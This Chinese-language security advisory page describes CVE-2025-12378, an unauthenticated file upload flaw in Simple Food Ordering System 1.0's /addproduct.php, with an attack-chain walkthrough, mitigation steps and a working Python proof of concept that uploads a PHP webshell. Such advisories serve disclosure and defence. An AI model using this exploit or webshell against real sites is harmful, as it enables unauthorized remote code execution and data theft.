IPBUF安全漏洞报告
English
CVE-2025-12378 CVSS 7.3 高危

CVE-2025-12378 Simple Food Ordering System 1.0 任意文件上传漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-12378
漏洞类型
任意文件上传
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Food Ordering System 1.0

相关标签

任意文件上传远程代码执行Simple Food Ordering Systemcode-projects无限制上传WebshellCVE-2025-12378高危漏洞

漏洞概述

CVE-2025-12378是code-projects Simple Food Ordering System 1.0中的一个高危安全漏洞,CVSS评分达到7.3。该漏洞存在于/addproduct.php文件处理photo参数的逻辑中,攻击者可以通过构造恶意请求上传任意文件到服务器。由于系统缺乏对上传文件类型和内容的有效验证,导致攻击者可以上传恶意脚本文件(如PHP webshell),从而实现远程代码执行。漏洞影响产品的未知处理流程,攻击可远程发起,无需认证和用户交互。该漏洞已于2025年10月28日公开披露,漏洞利用代码已在互联网公开,攻击者可以轻松获取利用方式,对使用该系统的网站构成严重威胁。

技术细节

该漏洞属于无限制文件上传(Unrestricted File Upload)漏洞。在Simple Food Ordering System 1.0的/addproduct.php文件中,系统接收用户通过photo参数提交的文件,但未对上传文件的类型、扩展名和内容进行充分的验证和过滤。攻击者可以绕过客户端的文件类型检查,直接向服务器发送包含恶意代码的文件(如.php文件)。由于服务器端缺乏安全检查,上传的恶意文件会被保存在web可访问目录中,攻击者随后可以通过访问该文件来执行任意代码。常见的利用方式包括上传包含webshell的PHP文件,攻击者可以通过webshell执行系统命令、读取敏感文件或进一步渗透内网。防御此类漏洞需要对上传文件进行白名单验证、限制文件类型、检查文件内容(MIME类型检测)、重命名上传文件、限制上传目录的执行权限等。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用Simple Food Ordering System 1.0,并定位到/addproduct.php端点
STEP 2
步骤2
构造恶意文件:创建包含webshell的PHP文件,如<?php system($_GET["cmd"]); ?>
STEP 3
步骤3
绕过验证:绕过客户端JavaScript文件类型检查,直接发送POST请求到/addproduct.php
STEP 4
步骤4
上传文件:通过photo参数提交恶意PHP文件,服务器未进行MIME类型和内容验证
STEP 5
步骤5
获取webshell路径:成功上传后,攻击者获得webshell的访问路径
STEP 6
步骤6
远程代码执行:通过访问webshell并传递cmd参数,执行任意系统命令
STEP 7
步骤7
持久化控制:可进一步植入后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12378 PoC - Simple Food Ordering System 1.0 Unrestricted File Upload # Target: /addproduct.php # Vulnerability: Unrestricted upload via photo parameter def upload_shell(target_url, file_path='shell.php'): """ Upload malicious PHP shell to target server """ upload_url = f"{target_url.rstrip('/')}/addproduct.php" # Prepare malicious PHP shell shell_content = '<?php system($_GET["cmd"]); ?>' # Create multipart form data files = { 'photo': (file_path, shell_content, 'application/x-php') } # Additional required fields (may vary) data = { 'name': 'Malicious Product', 'price': '999', 'category': '1', 'description': 'Injected via CVE-2025-12378' } try: print(f"[*] Uploading shell to {upload_url}...") response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print("[*] Check if shell was uploaded to /uploads/ or similar directory") print("[*] Access shell: http://target/uploads/shell.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12378.py <target_url>") print("Example: python cve-2025-12378.py http://localhost/food-ordering") sys.exit(1) target = sys.argv[1] upload_shell(target)

影响范围

code-projects Simple Food Ordering System 1.0

防御指南

临时缓解措施
立即采取以下临时缓解措施:1)限制/addproduct.php的访问权限,仅允许授权管理员访问;2)在Web服务器配置中禁止上传目录的PHP脚本执行权限;3)部署WAF规则拦截异常的文件上传请求;4)临时关闭文件上传功能直到完成安全修复;5)检查服务器上是否存在可疑的PHP文件并进行清理。同时建议尽快联系官方获取安全补丁或考虑使用其他安全的开源订餐系统替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表